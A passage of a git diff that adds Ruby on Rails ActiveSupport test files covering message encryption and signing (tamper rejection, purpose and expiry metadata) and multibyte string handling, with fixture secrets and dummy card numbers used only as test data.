+    assert_aead_not_decrypted(encryptor, [text, munge(iv), auth_tag] * "--")
+    assert_aead_not_decrypted(encryptor, [text, iv, munge(auth_tag)] * "--")
+    assert_aead_not_decrypted(encryptor, [munge(text), munge(iv), munge(auth_tag)] * "--")
+    assert_aead_not_decrypted(encryptor, [text, iv] * "--")
+    assert_aead_not_decrypted(encryptor, [text, iv, auth_tag[0..-2]] * "--")
+  end
+
+  def test_backwards_compatibility_decrypt_previously_encrypted_messages_without_metadata
+    secret = "\xB7\xF0\xBCW\xB1\x18`\xAB\xF0\x81\x10\xA4$\xF44\xEC\xA1\xDC\xC1\xDDD\xAF\xA9\xB8\x14\xCD\x18\x9A\x99 \x80)"
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm")
+    encrypted_message = "9cVnFs2O3lL9SPvIJuxBOLS51nDiBMw=--YNI5HAfHEmZ7VDpl--ddFJ6tXA0iH+XGcCgMINYQ=="
+
+    assert_equal "Ruby on Rails", encryptor.decrypt_and_verify(encrypted_message)
+  end
+
+  private
+    def assert_aead_not_decrypted(encryptor, value)
+      assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
+        encryptor.decrypt_and_verify(value)
+      end
+    end
+
+    def assert_not_decrypted(value)
+      assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
+        @encryptor.decrypt_and_verify(@verifier.generate(value))
+      end
+    end
+
+    def assert_not_verified(value)
+      assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+        @encryptor.decrypt_and_verify(value)
+      end
+    end
+
+    def munge(base64_string)
+      bits = ::Base64.strict_decode64(base64_string)
+      bits.reverse!
+      ::Base64.strict_encode64(bits)
+    end
+end
+
+class MessageEncryptorMetadataTest < ActiveSupport::TestCase
+  include SharedMessageMetadataTests
+
+  setup do
+    @secret    = SecureRandom.random_bytes(32)
+    @encryptor = ActiveSupport::MessageEncryptor.new(@secret, encryptor_options)
+  end
+
+  private
+    def generate(message, **options)
+      @encryptor.encrypt_and_sign(message, options)
+    end
+
+    def parse(data, **options)
+      @encryptor.decrypt_and_verify(data, options)
+    end
+
+    def encryptor_options; end
+end
+
+class MessageEncryptorMetadataMarshalTest < MessageEncryptorMetadataTest
+  private
+    def encryptor_options
+      { serializer: Marshal }
+    end
+end
+
+class MessageEncryptorMetadataJSONTest < MessageEncryptorMetadataTest
+  private
+    def encryptor_options
+      { serializer: MessageEncryptorTest::JSONSerializer.new }
+    end
+end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
new file mode 100644
index 0000000000..f626ab745f
--- /dev/null
+++ b/activesupport/test/message_verifier_test.rb
@@ -0,0 +1,143 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "openssl"
+require "active_support/time"
+require "active_support/json"
+require_relative "metadata/shared_metadata_tests"
+
+class MessageVerifierTest < ActiveSupport::TestCase
+  class JSONSerializer
+    def dump(value)
+      ActiveSupport::JSON.encode(value)
+    end
+
+    def load(value)
+      ActiveSupport::JSON.decode(value)
+    end
+  end
+
+  def setup
+    @verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
+    @data = { some: "data", now: Time.utc(2010) }
+  end
+
+  def test_valid_message
+    data, hash = @verifier.generate(@data).split("--")
+    assert !@verifier.valid_message?(nil)
+    assert !@verifier.valid_message?("")
+    assert !@verifier.valid_message?("\xff") # invalid encoding
+    assert !@verifier.valid_message?("#{data.reverse}--#{hash}")
+    assert !@verifier.valid_message?("#{data}--#{hash.reverse}")
+    assert !@verifier.valid_message?("purejunk")
+  end
+
+  def test_simple_round_tripping
+    message = @verifier.generate(@data)
+    assert_equal @data, @verifier.verified(message)
+    assert_equal @data, @verifier.verify(message)
+  end
+
+  def test_verified_returns_false_on_invalid_message
+    assert !@verifier.verified("purejunk")
+  end
+
+  def test_verify_exception_on_invalid_message
+    assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+      @verifier.verify("purejunk")
+    end
+  end
+
+  def test_alternative_serialization_method
+    prev = ActiveSupport.use_standard_json_time_format
+    ActiveSupport.use_standard_json_time_format = true
+    verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", serializer: JSONSerializer.new)
+    message = verifier.generate(:foo => 123, "bar" => Time.utc(2010))
+    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
+    assert_equal exp, verifier.verified(message)
+    assert_equal exp, verifier.verify(message)
+  ensure
+    ActiveSupport.use_standard_json_time_format = prev
+  end
+
+  def test_raise_error_when_argument_class_is_not_loaded
+    # To generate the valid message below:
+    #
+    #   AutoloadClass = Struct.new(:foo)
+    #   valid_message = @verifier.generate(foo: AutoloadClass.new('foo'))
+    #
+    valid_message = "BAh7BjoIZm9vbzonTWVzc2FnZVZlcmlmaWVyVGVzdDo6QXV0b2xvYWRDbGFzcwY6CUBmb29JIghmb28GOgZFVA==--f3ef39a5241c365083770566dc7a9eb5d6ace914"
+    exception = assert_raise(ArgumentError, NameError) do
+      @verifier.verified(valid_message)
+    end
+    assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
+                    "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
+    exception = assert_raise(ArgumentError, NameError) do
+      @verifier.verify(valid_message)
+    end
+    assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
+                    "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
+  end
+
+  def test_raise_error_when_secret_is_nil
+    exception = assert_raise(ArgumentError) do
+      ActiveSupport::MessageVerifier.new(nil)
+    end
+    assert_equal "Secret should not be nil.", exception.message
+  end
+
+  def test_backward_compatibility_messages_signed_without_metadata
+    signed_message = "BAh7BzoJc29tZUkiCWRhdGEGOgZFVDoIbm93SXU6CVRpbWUNIIAbgAAAAAAHOgtvZmZzZXRpADoJem9uZUkiCFVUQwY7BkY=--d03c52c91dfe4ccc5159417c660461bcce005e96"
+    assert_equal @data, @verifier.verify(signed_message)
+  end
+end
+
+class MessageVerifierMetadataTest < ActiveSupport::TestCase
+  include SharedMessageMetadataTests
+
+  setup do
+    @verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", verifier_options)
+  end
+
+  def test_verify_raises_when_purpose_differs
+    assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+      @verifier.verify(@verifier.generate(@message, purpose: "payment"), purpose: "shipping")
+    end
+  end
+
+  def test_verify_raises_when_expired
+    signed_message = @verifier.generate(@message, expires_in: 1.month)
+
+    travel 2.months
+    assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+      @verifier.verify(signed_message)
+    end
+  end
+
+  private
+    def generate(message, **options)
+      @verifier.generate(message, options)
+    end
+
+    def parse(message, **options)
+      @verifier.verified(message, options)
+    end
+
+    def verifier_options
+      Hash.new
+    end
+end
+
+class MessageVerifierMetadataMarshalTest < MessageVerifierMetadataTest
+  private
+    def verifier_options
+      { serializer: Marshal }
+    end
+end
+
+class MessageVerifierMetadataJSONTest < MessageVerifierMetadataTest
+  private
+    def verifier_options
+      { serializer: MessageVerifierTest::JSONSerializer.new }
+    end
+end
diff --git a/activesupport/test/metadata/shared_metadata_tests.rb b/activesupport/test/metadata/shared_metadata_tests.rb
new file mode 100644
index 0000000000..7d88e255c7
--- /dev/null
+++ b/activesupport/test/metadata/shared_metadata_tests.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+module SharedMessageMetadataTests
+  def setup
+    @message = { "credit_card_no" => "5012-6784-9087-5678", "card_holder" => { "name" => "Donald" } }
+
+    super
+  end
+
+  def teardown
+    travel_back
+
+    super
+  end
+
+  def test_encryption_and_decryption_with_same_purpose
+    assert_equal @message, parse(generate(@message, purpose: "checkout"), purpose: "checkout")
+    assert_equal @message, parse(generate(@message))
+
+    string_message = "address: #23, main street"
+    assert_equal string_message, parse(generate(string_message, purpose: "shipping"), purpose: "shipping")
+
+    array_message = ["credit_card_no: 5012-6748-9087-5678", { "card_holder" => "Donald", "issued_on" => Time.local(2017) }, 12345]
+    assert_equal array_message, parse(generate(array_message, purpose: "registration"), purpose: "registration")
+  end
+
+  def test_encryption_and_decryption_with_different_purposes_returns_nil
+    assert_nil parse(generate(@message, purpose: "payment"), purpose: "sign up")
+    assert_nil parse(generate(@message, purpose: "payment"))
+    assert_nil parse(generate(@message), purpose: "sign up")
+    assert_nil parse(generate(@message), purpose: "")
+  end
+
+  def test_purpose_using_symbols
+    assert_equal @message, parse(generate(@message, purpose: :checkout), purpose: :checkout)
+    assert_equal @message, parse(generate(@message, purpose: :checkout), purpose: "checkout")
+    assert_equal @message, parse(generate(@message, purpose: "checkout"), purpose: :checkout)
+  end
+
+  def test_passing_expires_at_sets_expiration_date
+    encrypted_message = generate(@message, expires_at: 1.hour.from_now)
+
+    travel 59.minutes
+    assert_equal @message, parse(encrypted_message)
+
+    travel 2.minutes
+    assert_nil parse(encrypted_message)
+  end
+
+  def test_set_relative_expiration_date_by_passing_expires_in
+    encrypted_message = generate(@message, expires_in: 2.hours)
+
+    travel 1.hour
+    assert_equal @message, parse(encrypted_message)
+
+    travel 1.hour + 1.second
+    assert_nil parse(encrypted_message)
+  end
+
+  def test_passing_expires_in_less_than_a_second_is_not_expired
+    freeze_time do
+      encrypted_message = generate(@message, expires_in: 1.second)
+
+      travel 0.5.seconds
+      assert_equal @message, parse(encrypted_message)
+
+      travel 1.second
+      assert_nil parse(encrypted_message)
+    end
+  end
+
+  def test_favor_expires_at_over_expires_in
+    payment_related_message = generate(@message, purpose: "payment", expires_at: 2.year.from_now, expires_in: 1.second)
+
+    travel 1.year
+    assert_equal @message, parse(payment_related_message, purpose: :payment)
+
+    travel 1.year + 1.day
+    assert_nil parse(payment_related_message, purpose: "payment")
+  end
+
+  def test_skip_expires_at_and_expires_in_to_disable_expiration_check
+    payment_related_message = generate(@message, purpose: "payment")
+
+    travel 100.years
+    assert_equal @message, parse(payment_related_message, purpose: "payment")
+  end
+end
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
new file mode 100644
index 0000000000..f51fbe2671
--- /dev/null
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -0,0 +1,752 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "multibyte_test_helpers"
+require "active_support/core_ext/string/multibyte"
+
+class MultibyteCharsTest < ActiveSupport::TestCase
+  include MultibyteTestHelpers
+
+  def setup
+    @proxy_class = ActiveSupport::Multibyte::Chars
+    @chars = @proxy_class.new UNICODE_STRING.dup
+  end
+
+  def test_wraps_the_original_string
+    assert_equal UNICODE_STRING, @chars.to_s
+    assert_equal UNICODE_STRING, @chars.wrapped_string
+  end
+
+  def test_should_allow_method_calls_to_string
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing; "result"; end }
+
+    assert_nothing_raised do
+      @chars.__method_for_multibyte_testing
+    end
+    assert_raise NoMethodError do
+      @chars.__unknown_method
+    end
+  end
+
+  def test_forwarded_method_calls_should_return_new_chars_instance
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing; "result"; end }
+
+    assert_kind_of @proxy_class, @chars.__method_for_multibyte_testing
+    assert_not_equal @chars.object_id, @chars.__method_for_multibyte_testing.object_id
+  end
+
+  def test_forwarded_bang_method_calls_should_return_the_original_chars_instance_when_result_is_not_nil
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing!; "result"; end }
+
+    assert_kind_of @proxy_class, @chars.__method_for_multibyte_testing!
+    assert_equal @chars.object_id, @chars.__method_for_multibyte_testing!.object_id
+  end
+
+  def test_forwarded_bang_method_calls_should_return_nil_when_result_is_nil
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing_that_returns_nil!; end }
+
+    assert_nil @chars.__method_for_multibyte_testing_that_returns_nil!
+  end
+
+  def test_methods_are_forwarded_to_wrapped_string_for_byte_strings
+    assert_equal BYTE_STRING.length, BYTE_STRING.mb_chars.length
+  end
+
+  def test_forwarded_method_with_non_string_result_should_be_returned_verbatim
+    str = "".dup
+    str.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }
+    @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }
+
+    assert_equal str.__method_for_multibyte_testing_with_integer_result, @chars.__method_for_multibyte_testing_with_integer_result
+  end
+
+  def test_should_concatenate
+    mb_a = "a".dup.mb_chars
+    mb_b = "b".dup.mb_chars
+    assert_equal "ab", mb_a + "b"
+    assert_equal "ab", "a" + mb_b
+    assert_equal "ab", mb_a + mb_b
+
+    assert_equal "ab", mb_a << "b"
+    assert_equal "ab", "a".dup << mb_b
+    assert_equal "abb", mb_a << mb_b
+  end
+
+  def test_consumes_utf8_strings
+    assert @proxy_class.consumes?(UNICODE_STRING)
+    assert @proxy_class.consumes?(ASCII_STRING)
+    assert !@proxy_class.consumes?(BYTE_STRING)
+  end
+
+  def test_concatenation_should_return_a_proxy_class_instance
+    assert_equal ActiveSupport::Multibyte.proxy_class, ("a".mb_chars + "b").class
+    assert_equal ActiveSupport::Multibyte.proxy_class, ("a".dup.mb_chars << "b").class
+  end
+
+  def test_ascii_strings_are_treated_at_utf8_strings
+    assert_equal ActiveSupport::Multibyte.proxy_class, ASCII_STRING.mb_chars.class
+  end
+
+  def test_concatenate_should_return_proxy_instance
+    assert(("a".mb_chars + "b").kind_of?(@proxy_class))
+    assert(("a".mb_chars + "b".mb_chars).kind_of?(@proxy_class))
+    assert(("a".dup.mb_chars << "b").kind_of?(@proxy_class))
+    assert(("a".dup.mb_chars << "b".mb_chars).kind_of?(@proxy_class))
+  end
+
+  def test_should_return_string_as_json
+    assert_equal UNICODE_STRING, @chars.as_json
+  end
+end
+
+class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
+  include MultibyteTestHelpers
+
+  def setup
+    @chars = UNICODE_STRING.dup.mb_chars
+    # Ruby 1.9 only supports basic whitespace
+    @whitespace = "\n\t "
+  end
+
+  def test_split_should_return_an_array_of_chars_instances
+    @chars.split(//).each do |character|
+      assert_kind_of ActiveSupport::Multibyte.proxy_class, character
+    end
+  end
+
+  %w{capitalize downcase lstrip reverse rstrip swapcase upcase}.each do |method|
+    class_eval(<<-EOTESTS, __FILE__, __LINE__ + 1)
+      def test_#{method}_bang_should_return_self_when_modifying_wrapped_string
+        chars = ' él piDió Un bUen café '.dup
+        assert_equal chars.object_id, chars.send("#{method}!").object_id
+      end
+
+      def test_#{method}_bang_should_change_wrapped_string
+        original = ' él piDió Un bUen café '.dup
+        proxy = chars(original.dup)
+        proxy.send("#{method}!")
+        assert_not_equal original, proxy.to_s
+      end
+    EOTESTS
+  end
+
+  def test_tidy_bytes_bang_should_return_self
+    assert_equal @chars.object_id, @chars.tidy_bytes!.object_id
+  end
+
+  def test_tidy_bytes_bang_should_change_wrapped_string
+    original = " Un bUen café \x92".dup
+    proxy = chars(original.dup)
+    proxy.tidy_bytes!
+    assert_not_equal original, proxy.to_s
+  end
+
+  def test_unicode_string_should_have_utf8_encoding
+    assert_equal Encoding::UTF_8, UNICODE_STRING.encoding
+  end
+
+  def test_identity
+    assert_equal @chars, @chars
+    assert @chars.eql?(@chars)
+    assert !@chars.eql?(UNICODE_STRING)
+  end
+
+  def test_string_methods_are_chainable
+    assert chars("".dup).insert(0, "").kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").rjust(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").ljust(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").center(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").rstrip.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").lstrip.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").strip.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").reverse.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars(" ").slice(0).kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").limit(0).kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").upcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").downcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").capitalize.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").normalize.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").decompose.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").compose.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").tidy_bytes.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars("").swapcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
+  end
+
+  def test_should_be_equal_to_the_wrapped_string
+    assert_equal UNICODE_STRING, @chars
+    assert_equal @chars, UNICODE_STRING
+  end
+
+  def test_should_not_be_equal_to_an_other_string
+    assert_not_equal @chars, "other"
+    assert_not_equal "other", @chars
+  end
+
+  def test_sortability
+    words = %w(builder armor zebra).sort_by(&:mb_chars)
+    assert_equal %w(armor builder zebra), words
+  end
+
+  def test_should_return_character_offset_for_regexp_matches
+    assert_nil(@chars =~ /wrong/u)
+    assert_equal 0, (@chars =~ /こ/u)
+    assert_equal 0, (@chars =~ /こに/u)
+    assert_equal 1, (@chars =~ /に/u)
+    assert_equal 2, (@chars =~ /ち/u)
+    assert_equal 3, (@chars =~ /わ/u)
+  end
+
+  def test_should_use_character_offsets_for_insert_offsets
+    assert_equal "", "".dup.mb_chars.insert(0, "")
+    assert_equal "こわにちわ", @chars.insert(1, "わ")
+    assert_equal "こわわわにちわ", @chars.insert(2, "わわ")
+    assert_equal "わこわわわにちわ", @chars.insert(0, "わ")
+    assert_equal "わこわわわにちわ", @chars.wrapped_string
+  end
+
+  def test_insert_should_be_destructive
+    @chars.insert(1, "わ")
+    assert_equal "こわにちわ", @chars
+  end
+
+  def test_insert_throws_index_error
+    assert_raise(IndexError) { @chars.insert(-12, "わ") }
+    assert_raise(IndexError) { @chars.insert(12, "わ") }
+  end
+
+  def test_should_know_if_one_includes_the_other
+    assert_includes @chars, ""
+    assert_includes @chars, "ち"
+    assert_includes @chars, "わ"
+    assert_not_includes @chars, "こちわ"
+    assert_not_includes @chars, "a"
+  end
+
+  def test_include_raises_when_nil_is_passed
+    assert_raises TypeError, NoMethodError, "Expected chars.include?(nil) to raise TypeError or NoMethodError" do
+      @chars.include?(nil)
+    end
+  end
+
+  def test_index_should_return_character_offset
+    assert_nil @chars.index("u")
+    assert_equal 0, @chars.index("こに")
+    assert_equal 2, @chars.index("ち")
+    assert_equal 2, @chars.index("ち", -2)
+    assert_nil @chars.index("ち", -1)
+    assert_equal 3, @chars.index("わ")
+    assert_equal 5, "ééxééx".mb_chars.index("x", 4)
+  end
+
+  def test_rindex_should_return_character_offset
+    assert_nil @chars.rindex("u")
+    assert_equal 1, @chars.rindex("に")
+    assert_equal 2, @chars.rindex("ち", -2)
+    assert_nil @chars.rindex("ち", -3)
+    assert_equal 6, "Café périferôl".mb_chars.rindex("é")
+    assert_equal 13, "Café périferôl".mb_chars.rindex(/\w/u)
+  end
+
+  def test_indexed_insert_should_take_character_offsets
+    @chars[2] = "a"
+    assert_equal "こにaわ", @chars
+    @chars[2] = "ηη"
+    assert_equal "こにηηわ", @chars
+    @chars[3, 2] = "λλλ"
+    assert_equal "こにηλλλ", @chars
+    @chars[1, 0] = "λ"
+    assert_equal "こλにηλλλ", @chars
+    @chars[4..6] = "ηη"
+    assert_equal "こλにηηη", @chars
+    @chars[/ηη/] = "λλλ"
+    assert_equal "こλにλλλη", @chars
+    @chars[/(λλ)(.)/, 2] = "α"
+    assert_equal "こλにλλαη", @chars
+    @chars["α"] = "¢"
+    assert_equal "こλにλλ¢η", @chars
+    @chars["λλ"] = "ααα"
+    assert_equal "こλにααα¢η", @chars
+  end
+
+  def test_indexed_insert_should_raise_on_index_overflow
+    before = @chars.to_s
+    assert_raise(IndexError) { @chars[10] = "a" }
+    assert_raise(IndexError) { @chars[10, 4] = "a" }
+    assert_raise(IndexError) { @chars[/ii/] = "a" }
+    assert_raise(IndexError) { @chars[/()/, 10] = "a" }
+    assert_equal before, @chars
+  end
+
+  def test_indexed_insert_should_raise_on_range_overflow
+    before = @chars.to_s
+    assert_raise(RangeError) { @chars[10..12] = "a" }
+    assert_equal before, @chars
+  end
+
+  def test_rjust_should_raise_argument_errors_on_bad_arguments
+    assert_raise(ArgumentError) { @chars.rjust(10, "") }
+    assert_raise(ArgumentError) { @chars.rjust }
+  end
+
+  def test_rjust_should_count_characters_instead_of_bytes
+    assert_equal UNICODE_STRING, @chars.rjust(-3)
+    assert_equal UNICODE_STRING, @chars.rjust(0)
+    assert_equal UNICODE_STRING, @chars.rjust(4)
+    assert_equal " #{UNICODE_STRING}", @chars.rjust(5)
+    assert_equal "   #{UNICODE_STRING}", @chars.rjust(7)
+    assert_equal "---#{UNICODE_STRING}", @chars.rjust(7, "-")
+    assert_equal "ααα#{UNICODE_STRING}", @chars.rjust(7, "α")
+    assert_equal "aba#{UNICODE_STRING}", @chars.rjust(7, "ab")
+    assert_equal "αηα#{UNICODE_STRING}", @chars.rjust(7, "αη")
+    assert_equal "αηαη#{UNICODE_STRING}", @chars.rjust(8, "αη")
+  end
+
+  def test_ljust_should_raise_argument_errors_on_bad_arguments
+    assert_raise(ArgumentError) { @chars.ljust(10, "") }
+    assert_raise(ArgumentError) { @chars.ljust }
+  end
+
+  def test_ljust_should_count_characters_instead_of_bytes
+    assert_equal UNICODE_STRING, @chars.ljust(-3)
+    assert_equal UNICODE_STRING, @chars.ljust(0)
+    assert_equal UNICODE_STRING, @chars.ljust(4)
+    assert_equal "#{UNICODE_STRING} ", @chars.ljust(5)
+    assert_equal "#{UNICODE_STRING}   ", @chars.ljust(7)
+    assert_equal "#{UNICODE_STRING}---", @chars.ljust(7, "-")
+    assert_equal "#{UNICODE_STRING}ααα", @chars.ljust(7, "α")
+    assert_equal "#{UNICODE_STRING}aba", @chars.ljust(7, "ab")
+    assert_equal "#{UNICODE_STRING}αηα", @chars.ljust(7, "αη")
+    assert_equal "#{UNICODE_STRING}αηαη", @chars.ljust(8, "αη")
+  end
+
+  def test_center_should_raise_argument_errors_on_bad_arguments
+    assert_raise(ArgumentError) { @chars.center(10, "") }
+    assert_raise(ArgumentError) { @chars.center }
+  end
+
+  def test_center_should_count_characters_instead_of_bytes
+    assert_equal UNICODE_STRING, @chars.center(-3)
+    assert_equal UNICODE_STRING, @chars.center(0)
+    assert_equal UNICODE_STRING, @chars.center(4)
+    assert_equal "#{UNICODE_STRING} ", @chars.center(5)
+    assert_equal " #{UNICODE_STRING} ", @chars.center(6)
+    assert_equal " #{UNICODE_STRING}  ", @chars.center(7)
+    assert_equal "--#{UNICODE_STRING}--", @chars.center(8, "-")
+    assert_equal "--#{UNICODE_STRING}---", @chars.center(9, "-")
+    assert_equal "αα#{UNICODE_STRING}αα", @chars.center(8, "α")
+    assert_equal "αα#{UNICODE_STRING}ααα", @chars.center(9, "α")
+    assert_equal "a#{UNICODE_STRING}ab", @chars.center(7, "ab")
+    assert_equal "ab#{UNICODE_STRING}ab", @chars.center(8, "ab")
+    assert_equal "abab#{UNICODE_STRING}abab", @chars.center(12, "ab")
+    assert_equal "α#{UNICODE_STRING}αη", @chars.center(7, "αη")
+    assert_equal "αη#{UNICODE_STRING}αη", @chars.center(8, "αη")
+  end
+
+  def test_lstrip_strips_whitespace_from_the_left_of_the_string
+    assert_equal UNICODE_STRING, UNICODE_STRING.mb_chars.lstrip
+    assert_equal UNICODE_STRING, (@whitespace + UNICODE_STRING).mb_chars.lstrip
+    assert_equal UNICODE_STRING + @whitespace, (@whitespace + UNICODE_STRING + @whitespace).mb_chars.lstrip
+  end
+
+  def test_rstrip_strips_whitespace_from_the_right_of_the_string
+    assert_equal UNICODE_STRING, UNICODE_STRING.mb_chars.rstrip
+    assert_equal UNICODE_STRING, (UNICODE_STRING + @whitespace).mb_chars.rstrip
+    assert_equal @whitespace + UNICODE_STRING, (@whitespace + UNICODE_STRING + @whitespace).mb_chars.rstrip
+  end
+
+  def test_strip_strips_whitespace
+    assert_equal UNICODE_STRING, UNICODE_STRING.mb_chars.strip
+    assert_equal UNICODE_STRING, (@whitespace + UNICODE_STRING).mb_chars.strip
+    assert_equal UNICODE_STRING, (UNICODE_STRING + @whitespace).mb_chars.strip
+    assert_equal UNICODE_STRING, (@whitespace + UNICODE_STRING + @whitespace).mb_chars.strip
+  end
+
+  def test_stripping_whitespace_leaves_whitespace_within_the_string_intact
+    string_with_whitespace = UNICODE_STRING + @whitespace + UNICODE_STRING
+    assert_equal string_with_whitespace, string_with_whitespace.mb_chars.strip
+    assert_equal string_with_whitespace, string_with_whitespace.mb_chars.lstrip
+    assert_equal string_with_whitespace, string_with_whitespace.mb_chars.rstrip
+  end
+
+  def test_size_returns_characters_instead_of_bytes
+    assert_equal 0, "".mb_chars.size
+    assert_equal 4, @chars.size
+    assert_equal 4, @chars.length
+    assert_equal 5, ASCII_STRING.mb_chars.size
+  end
+
+  def test_reverse_reverses_characters
+    assert_equal "", "".mb_chars.reverse
+    assert_equal "わちにこ", @chars.reverse
+  end
+
+  def test_reverse_should_work_with_normalized_strings
+    str = "bös"
+    reversed_str = "söb"
+    assert_equal chars(reversed_str).normalize(:kc), chars(str).normalize(:kc).reverse
+    assert_equal chars(reversed_str).normalize(:c), chars(str).normalize(:c).reverse
+    assert_equal chars(reversed_str).normalize(:d), chars(str).normalize(:d).reverse
+    assert_equal chars(reversed_str).normalize(:kd), chars(str).normalize(:kd).reverse
+    assert_equal chars(reversed_str).decompose, chars(str).decompose.reverse
+    assert_equal chars(reversed_str).compose, chars(str).compose.reverse
+  end
+
+  def test_slice_should_take_character_offsets
+    assert_nil "".mb_chars.slice(0)
+    assert_equal "こ", @chars.slice(0)
+    assert_equal "わ", @chars.slice(3)
+    assert_nil "".mb_chars.slice(-1..1)
+    assert_nil "".mb_chars.slice(-1, 1)
+    assert_equal "", "".mb_chars.slice(0..10)
+    assert_equal "にちわ", @chars.slice(1..3)
+    assert_equal "にちわ", @chars.slice(1, 3)
+    assert_equal "こ", @chars.slice(0, 1)
+    assert_equal "ちわ", @chars.slice(2..10)
+    assert_equal "", @chars.slice(4..10)
+    assert_equal "に", @chars.slice(/に/u)
+    assert_equal "にち", @chars.slice(/に./u)
+    assert_nil @chars.slice(/unknown/u)
+    assert_equal "にち", @chars.slice(/(にち)/u, 1)
+    assert_nil @chars.slice(/(にち)/u, 2)
+    assert_nil @chars.slice(7..6)
+  end
+
+  def test_slice_bang_returns_sliced_out_substring
+    assert_equal "にち", @chars.slice!(1..2)
+  end
+
+  def test_slice_bang_returns_nil_on_out_of_bound_arguments
+    assert_nil @chars.mb_chars.slice!(9..10)
+  end
+
+  def test_slice_bang_removes_the_slice_from_the_receiver
+    chars = "úüù".dup.mb_chars
+    chars.slice!(0, 2)
+    assert_equal "ù", chars
+  end
+
+  def test_slice_bang_returns_nil_and_does_not_modify_receiver_if_out_of_bounds
+    string = "úüù".dup
+    chars = string.mb_chars
+    assert_nil chars.slice!(4, 5)
+    assert_equal "úüù", chars
+    assert_equal "úüù", string
+  end
+
+  def test_slice_should_throw_exceptions_on_invalid_arguments
+    assert_raise(TypeError) { @chars.slice(2..3, 1) }
+    assert_raise(TypeError) { @chars.slice(1, 2..3) }
+    assert_raise(ArgumentError) { @chars.slice(1, 1, 1) }
+  end
+
+  def test_ord_should_return_unicode_value_for_first_character
+    assert_equal 12371, @chars.ord
+  end
+
+  def test_upcase_should_upcase_ascii_characters
+    assert_equal "", "".mb_chars.upcase
+    assert_equal "ABC", "aBc".mb_chars.upcase
+  end
+
+  def test_downcase_should_downcase_ascii_characters
+    assert_equal "", "".mb_chars.downcase
+    assert_equal "abc", "aBc".mb_chars.downcase
+  end
+
+  def test_swapcase_should_swap_ascii_characters
+    assert_equal "", "".mb_chars.swapcase
+    assert_equal "AbC", "aBc".mb_chars.swapcase
+  end
+
+  def test_capitalize_should_work_on_ascii_characters
+    assert_equal "", "".mb_chars.capitalize
+    assert_equal "Abc", "abc".mb_chars.capitalize
+  end
+
+  def test_titleize_should_work_on_ascii_characters
+    assert_equal "", "".mb_chars.titleize
+    assert_equal "Abc Abc", "abc abc".mb_chars.titleize
+  end
+
+  def test_respond_to_knows_which_methods_the_proxy_responds_to
+    assert "".mb_chars.respond_to?(:slice) # Defined on Chars
+    assert "".mb_chars.respond_to?(:capitalize!) # Defined on Chars
+    assert "".mb_chars.respond_to?(:gsub) # Defined on String
+    assert !"".mb_chars.respond_to?(:undefined_method) # Not defined
+  end
+
+  def test_method_works_for_proxyed_methods
+    assert_equal "ll", "hello".mb_chars.method(:slice).call(2..3) # Defined on Chars
+    chars = "hello".mb_chars
+    assert_equal "Hello", chars.method(:capitalize!).call # Defined on Chars
+    assert_equal "Hello", chars
+    assert_equal "jello", "hello".mb_chars.method(:gsub).call(/h/, "j") # Defined on String
+    assert_raise(NameError) { "".mb_chars.method(:undefined_method) } # Not defined
+  end
+
+  def test_acts_like_string
+    assert "Bambi".mb_chars.acts_like_string?
+  end
+end
+
+# The default Multibyte Chars proxy has more features than the normal string implementation. Tests
+# for the implementation of these features should run on all Ruby versions and shouldn't be tested
+# through the proxy methods.
+class MultibyteCharsExtrasTest < ActiveSupport::TestCase
+  include MultibyteTestHelpers
+
+  def test_upcase_should_be_unicode_aware
+    assert_equal "АБВГД\0F", chars("аБвгд\0f").upcase
+    assert_equal "こにちわ", chars("こにちわ").upcase
+  end
+
+  def test_downcase_should_be_unicode_aware
+    assert_equal "абвгд\0f", chars("аБвгд\0F").downcase
